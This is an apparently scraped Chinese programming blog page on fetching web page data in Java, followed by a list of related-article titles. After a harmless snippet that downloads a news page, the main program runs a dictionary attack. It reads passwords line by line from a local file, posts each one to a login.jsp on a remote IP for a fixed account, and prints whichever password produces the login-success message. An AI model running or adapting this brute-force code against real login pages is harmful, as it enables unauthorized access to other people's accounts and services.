获取 web界面数据
来源:互联网 发布:生死手游刷金币软件 编辑:程序博客网 时间:2024/06/05 00:27
try {
URL url = new URL("http://news.baidu.com/");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.connect();//根据url连接服务器
// 创建字符流,也可以创建字节流
BufferedReader br = new BufferedReader(new InputStreamReader(
conn.getInputStream()));
String line = null;
// 读取页面资源
while ((line = br.readLine()) != null) {
System.out.println(line);
}
} catch (IOException e) {
e.printStackTrace();
}
}
///------ 测试密码是否正确
public static void main(String[] args) {
try {
URL url = new URL("http://1.1.1.1:20000/login.jsp");
BufferedReader br = new BufferedReader(new InputStreamReader(
new FileInputStream("F:\\work\\tmp\\password.txt")));
String passwd = null;
while ((passwd = br.readLine()) != null) {
// 每次读取一行(字典文件),创建一次连接
HttpURLConnection conn = (HttpURLConnection) url
.openConnection();
// 一下属性 可以打开Google浏览器进入处理页面后,按CTRL+SHIFT+I看到
conn.setRequestProperty("Accept",
"*/*");
conn.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch");
conn.setRequestProperty("Connection", "keep-alive");
conn.setDoInput(true);
conn.setDoOutput(true);
// 打开远程输出流,准备向服务器发送请求参数
PrintStream ps = new PrintStream(conn.getOutputStream());
ps.print("loginId=abc&password=" + passwd);
ps.flush();
// 从远程服务器读取响应
BufferedReader br2 = new BufferedReader(new InputStreamReader(
conn.getInputStream()));
String line = null;
while ((line = br2.readLine()) != null) {
if (line.contains("登录成功")) {
System.out.println("正确的密码为:" + passwd);
} else
System.out.println("错误的密码为:" + passwd);
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
- 获取 web界面数据
- 通过web获取数据
- Web Service获取数据
- Unity 获取web数据
- OFBiz界面通过Ajax获取json数据
- Qt之界面数据存储与获取
- Qt主界面获取对话框数据
- Qt之界面数据存储与获取
- Qt之界面数据存储与获取
- 获取web服务器xml数据
- 获取web服务器xml数据
- web页面获取表单数据
- 从子界面获取数据返回给主界面
- 获取网络数据,获取web服务器xml数据
- js 获取web界面宽度和高度的方法总结
- iOS native如何获取web界面的title、image等
- Web页面无刷新获取远程数据
- Web页面无刷新获取远程数据
- Android/Linux驱动开发之使用dev_dbg调试设备驱动
- 不同数据库oracle mysql SQL Server DB2 infomix sybase分页查询语句
- 在Centos中yum安装和卸载软件的使用方法[转]
- 目标检测中背景建模方法
- c++学习笔记--异常处理
- 获取 web界面数据
- UVa 10870 - Recurrences (矩阵构造 矩阵快速幂)
- (入门贴)JVM堆内存相关的启动参数:年轻代、老年代和永久代的内存分配
- 使用 Spring Data JPA 简化 JPA 开发
- Remote_login_passwordfile参数探究
- SQL——基本表的创建和撤销
- JSP应用开发的背景及特点
- windows下cmake的使用
- 使用loadrunner进行压力测试——post请求